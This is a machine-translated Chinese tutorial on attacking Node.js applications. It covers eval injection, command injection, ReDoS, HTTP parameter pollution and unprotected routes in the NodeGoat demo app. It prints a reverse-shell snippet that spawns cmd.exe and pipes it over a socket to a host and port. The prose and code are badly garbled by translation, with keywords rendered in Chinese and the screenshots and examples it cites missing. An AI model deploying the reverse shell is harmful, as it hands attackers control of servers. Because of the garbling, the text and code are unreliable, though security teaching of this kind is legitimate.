中国骇客云教你渗透测试Node.js应用介绍,如何使用node.js进行渗透测试!

在这篇文章中,我们将看看时如何进行渗透测试Node.js应用或寻找Node.js的具体问题。

说明

js是一个服务器端语言建立在谷歌浏览器的V8引擎的顶部。它采用事件驱动的非阻塞I/O是数据密集型应用的完美候选人。它运行在一个单线程的服务器,这也意味着任何有意/无意的拒绝服务的尝试将杀死服务器把所有客户脱机,负载均衡器以便更好地使用多个实例。在这篇文章中,我们将看一些漏洞更具体到Node.js如何识别和利用他们在真实世界的情景。

信息收集

像任何其他信息收集网络应用的阶段,我们将寻找到任何奇怪的cookie名称[”connect.sid”],服务器标题和x-powered-by头。可以在下面的截图中看到,x-powered-by标题显示应用程序正在运行下快递框架。此外,我们现在可以深入挖掘框架/包具体漏洞太。

脆弱性分析和利用

截至目前,我们已经确定Node.js应用一个轻微的想法,让我们在其他的漏洞一看。我们将在下面的弱点:

  • 服务器端代码注入
  • 系统命令注入
  • 正则表达式的DOS
  • HTTP参数污染
  • 无保护的途径
  • 全局命名空间污染
  • 跨站点脚本
  • 不安全的组件
  • 安全代码审查

服务器端代码注入:

在js代码注入也围绕着“最著名的功能eval“所以,不要使用eval在你的代码的功能,这也意味着没有插入用户直接输入任何的系统功能,如setTimeoutsetInterval,等.

在我们的演示代码,我们使用eval解析参数的类型,在这种情况下是一个整数,后面添加。同样可以克服使用parseInt功能

可以看出,我们能够执行我们的有效载荷和关闭应用程序。

反向外壳

进一步,我们可以使用下面的代码片段到Node.js应用反向壳。

功能启(主机、端口){
var net = require(“net”);
var cp = require(“child_process”);

var cmd = cp.spawn(“cmd.exe”, []);

var client = new net.Socket();

client.connect(主机,端口,function(){

客户。写(“连接\r\n”);

client.pipe(cmd.stdin);

cmd.stdout.pipe(客户端);

cmd.stderr.pipe(客户端);

客户。在('exit”功能(编码、信号){

(“断接client.end r \ n”);

});

客户。对(错误,函数(e){

setTimeout(启(主机、端口),5000);

})

});

返回/ /;

启(的);“127.0.0.1”,4444);

系统命令的执行

而做一个Node.js应用程序代码审查,这是看从模块名称child_process使用的功能非常重要,因为这个模块涵盖了所有的功能,从产卵的新流程执行系统命令。

可以看到,我们已经创造了一个演示程序的平。然而,没有验证的IP参数设置。

上面的代码可以利用系统命令执行简单如下:

正则表达式的DoS(拒绝服务)

正则表达式的DOS主要围绕术语叫灾难性的回溯这意味着在如何定义正则表达式引擎搜索模式在用户的输入。让我们看看下面的例子:

我们在这里寻找X的结束与Y的模式,但是如果我们的输入并没有结束与Y和它有更多的X的存在与这一问题,每个X将开始回溯,最终在一个循环中执行更多的迭代次数来确保没有Y的在我们输入。在下面的截图中,我们可以看到,正确的输入,执行时间小于一秒。

我们只提供X的数目。可以看出,执行时间增加一秒,记得Node.js是一个单线程运行,它将为所有在同一时间使用同一应用程序的其他客户造成拒绝服务。

HTTP参数污染

Node.js有个奇怪的功能,允许多个值的一个参数。所以,如果添加具有相同名称的一个参数是参数名称和电子邮件,电子邮件参数的值将包含一个以逗号分隔的两种不同的价值观。

我们可以看到,我们只是打印电子邮件参数的值在这里。

如图所示,当我们提供价值的两个或两个以上的参数具有相同的名称,Node.js将他们用逗号。此功能可用于开发参数污染漏洞。一个例子可以电子邮件Web客户端应用程序,在应用程序期望的电子邮件的参数值,你可以提供一个或多个值。

无保护的途径

大多数的现代应用程序是使用MVC架构,让我们先了解这个词意味着什么。MVC把应用分为三个逻辑组件模型,视图控制器。这大大有助于开发人员和软件架构师的业务逻辑从应用程序代码中分离。简单来说,当一个请求发送到基于MVC模式的Web应用的端点或URL请求发送到负载的用户界面称为视图负责加载视图或执行用户的输入,称为控制器的任何验证任务的终点。从数据端的控制器获取数据作为模型。

所有的网址/控制器端点称为嵌入式路径文件的路线,并有一个路由器,坐在它们之间决定当用户点击http:/ / / www.example.com ABC该控制器具有触发

现在的问题是这样的认证/授权和非认证/授权的路线。从名字上,我们可以确定认证/授权的路线都是那些我们可以访问登录后或一定程度的访问后。

演示这一功能,我们必须设置Nodejs应用称为流行的平台nodegoat。这是演示的应用具有多个用户角色退休。只有管理员可以访问其他用户的退休福利。

可以看出,效益路线不检查用户是否是管理员和其他用户可以访问其他用户的退休福利。

可以看出,我们从一个正常的用户登录,并且没有功能命名为“正常用户帐户的好处”。

我们从一个管理员帐户登录,并发现,这个功能可以通过管理员用户只。

为了验证上述行为,我们再切换到正常的用户帐户,并浏览网页的好处力和能够访问和修改其内容。

固定保护的途径

我们进一步增加isadmin中间件路线以确保只有管理员用户访问这个页面。

我们又一次试图访问的好处页面,被重定向到登录页面在isadmin中间件的定义。

结论:

在这篇文章中,我们已经讨论了5出9的漏洞;其余的将被覆盖在论文的第二部分。

打赏